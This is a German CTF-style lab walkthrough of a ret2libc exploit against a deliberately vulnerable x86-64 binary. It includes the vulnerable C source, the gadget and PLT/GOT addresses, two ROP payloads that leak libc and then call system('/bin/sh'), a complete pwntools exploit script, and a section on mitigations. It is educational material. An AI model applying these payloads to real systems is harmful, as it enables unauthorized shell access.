

Ret2LibC Exploit - Walkthrough

Binary: level2_ret2libc | Arch: x86-64 | OS: Linux

Was ist ein Ret2LibC Exploit?

Ein Ret2LibC Exploit nutzt einen Pufferueberlauf, um nicht zu eigener Code-Seite zu springen (NX verhindert das), sondern zu Funktionen in der C-Library (libc). NX ist an - Stack ist nicht ausfuehrbar. Aber die libc liegt im Speicher und hat nuetzliche Funktionen wie system().

WICHTIG: Anders als bei Ret2Win brauchen wir HIER einen Leak!

Wir kennen die libc-Adressen NICHT - die werden bei jedem Start randomisiert (ASLR). Also muessen wir zuerst eine Adresse leaken und dann die Basis berechnen.

Die Binary - Sicherheitseinstellungen

Kompiert mit: gcc -fno-stack-protector -no-pie -WL,-z,norelro

- [AUS] Stack Canary - Pufferueberlauf wird nicht erkannt
- [AUS] PIE - Binary-Adressen sind fix (PLT/GOT adr kennen wir)
- [AN] NX - Stack NICHT ausfuehrbar (kein Shellcode moeglich!)
- [AUS] RELRO - GOT ist beschreibbar

HINWEIS: Bei modernem GCC (glibc 2.34+) gibt es kein __libc_csu_init mehr. Wir muessen eine Hilfsfunktion einkompilieren fuer pop rdi; ret.

Der Quellcode (ret2libc.c)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gadgets() {
    __asm__("pop %rdi; ret");
    __asm__("ret");
}

void vuln() {
    char buf[64];
    printf("Level 2 - Ret2Libc\n");
    printf("NX ist an, kein Shellcode auf dem Stack!\n");
    printf("Gib deinen Payload: ");
    gets(buf);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    vuln();
    return 0;
}
```

Die Schwachstelle - gets()

gets() liest von stdin in einen 64-Byte-Puffer OHNE Laengenpruefung. Mehr als 64 Bytes = Stack-Overflow.

Stack-Aufbau: buf[64] + saved RBP(8) + return addr(8)

Offset = 64 (Buffer) + 8 (RBP) = 72 Bytes bis zur Ruecksprungadresse

Der Unterschied zu Ret2Win

Ret2Win: Offset 72 + Adresse von win() -> FERTIG

Ret2LibC: Offset 72 + pop_rdi + /bin/sh + system -> brauchen Leak!

Bei Ret2Win kennen wir die Adresse von win() (PIE aus). Bei Ret2LibC kennen wir system() NICHT - libc ist randomisiert!

Gadgets finden

```
ROPgadget --binary ret2libc --only "pop|ret"
```

- 0x40119e : pop rdi ; ret -> Brauchen wir fuer system("/bin/sh")
- 0x40101a : ret -> Stack-Alignment (16-byte)

pop rdi; ret laedt naechsten Wert vom Stack in rdi (1. Argument fuer system()). ret wird fuer 16-byte Stack-Alignment von system() gebraucht.

PLT und GOT Adressen

PLT (Procedure Linkage Table) - fuer Funktionsaufrufe:

```
puts@plt : 0x401070 | printf@plt : 0x401080
gets@plt : 0x401090 | setvbuf@plt : 0x4010a0
```

GOT (Global Offset Table) - speichert echte libc-Adressen:

```
puts@got : 0x403398 | gets@got : 0x4033a8
```

Die Strategie - Zwei-Payload-Angriff

PHASE 1: LEAK - libc-Adresse finden

Ziel: puts@got auslesen -> echte puts-Adresse -> libc Base berechnen

Aufruf: puts@plt(puts@got) gibt die ECHTE puts-Adresse als Text aus.

```
libc_base = empfangene_adresse - puts_offset_in_libc
```

Payload 1:

```
72 Byte Padding
p64(0x40119e) # pop rdi; ret -> rdi = naechstes Arg
p64(0x403398) # puts@got -> rdi = Adresse zum Ausgeben
p64(0x401070) # puts@plt -> rufe puts auf
p64(0x4011a4) # vuln() -> zurueck fuer Phase 2
```

PHASE 2: EXPLOIT - system("/bin/sh")

Jetzt kennen wir die libc Base. Wir berechnen:

```
system = libc_base + 0x58750
/bin/sh = libc_base + 0x1cb42f
```

Payload 2:

```
72 Byte Padding
p64(0x40101a) # ret -> Stack-Alignment (system crasht sonst!)
p64(0x40119e) # pop rdi; ret
p64(binsh)    # "/bin/sh" in libc -> rdi
p64(system)   # system() in libc -> RIP
```

Warum ret vorher? system() verlangt 16-byte Stack-Alignment. Ohne ret crasht system()!

Adressen-Uebersicht

Binary-Adressen (fix, kein PIE):

```
pop rdi; ret : 0x40119e | ret : 0x40101a
puts@plt      : 0x401070 | puts@got : 0x403398
gets@plt      : 0x401090 | gets@got : 0x4033a8
vuln()        : 0x4011a4
```

Libc Offsets (lokal):

```
puts      : 0x87be0
system    : 0x58750
/bin/sh: 0x1cb42f
```

Berechnung:

```
libc_base  = leaked_puts - 0x87be0
system_addr = libc_base + 0x58750
binsh_addr  = libc_base + 0x1cb42f
```

finalexloit.py - Der Exploit (komplett)

```
from pwn import *

context.binary = './ret2libc'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./ret2libc')

POP_RDI  = 0x40119e
RET      = 0x40101a
PUTS_PLT = 0x401070
PUTS_GOT = 0x403398
VULN     = 0x4011a4

# PHASE 1: LIBC LEAK
payload1 = b'A' * 72
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(VULN)

p.recvuntil(b'Payload: ')
p.sendline(payload1)

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']

log.success(f'libc base: {hex(libc.address)}')
log.success(f'system: {hex(libc.symbols["system"])}')

# PHASE 2: SYSTEM("/BIN/SH")
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))

payload2 = b'A' * 72
payload2 += p64(RET)
payload2 += p64(POP_RDI)
payload2 += p64(binsh)
payload2 += p64(system)
```

```
p.recvuntil(b'Payload: ')\n p.sendline(payload2)\n p.interactive()
```

Schritt-fuer-Schritt Ablauf

1. main() ruft vuln() auf -> Ruecksprungadresse auf Stack
2. vuln() legt Puffer (64 Byte) + saved RBP auf Stack
3. gets(buf) wartet auf Eingabe - KEINE LAENGENPRUEFUNG!
4. SENDEN PAYLOAD 1: 72 Byte + pop_rdi + puts_got + puts_plt + vuln
5. puts@plt(puts@got) gibt ECHTE puts-Adresse als Text aus
6. Ruecksprung zu vuln() - naechster Durchlauf
7. BERECHNEN: libc_base = leaked_puts - 0x87be0
8. SENDEN PAYLOAD 2: 72 Byte + ret + pop_rdi + /bin/sh + system
9. Stack-Alignment (ret) + rdi=/bin/sh + system() aufgerufen
10. SHELL!

Erwartete Ausgabe

```
$ python3 finalexploit.py\n[+] libc base: 0x7ffff7de5000\n[+] system: 0x7ffff7e3d750\n[+] /bin/sh: 0x7ffff7fcf42f\n[*] Switching to interactive mode\n$ id\nuid=1000(etiennekrein) gid=1000(etiennekrein)\n$ whoami\netiennekrein\n$ exit
```

Was haette diesen Exploit verhindert?

- [JA] Stack Canary - Zufae'lliger Wert, wird vor ret geprueft
- [JA] PIE + ASLR - Binary-Adressen randomisiert
- [NEIN] NX - Verhindert Shellcode, aber ret2libc springt zu libc!
- [NEIN] RELRO (Partial) - Schuetzt GOT, wird hier nicht gebraucht

FAZIT: Canary oder PIE waeren noetig gewesen. NX ist an, aber genau DAS macht ret2libc noetig!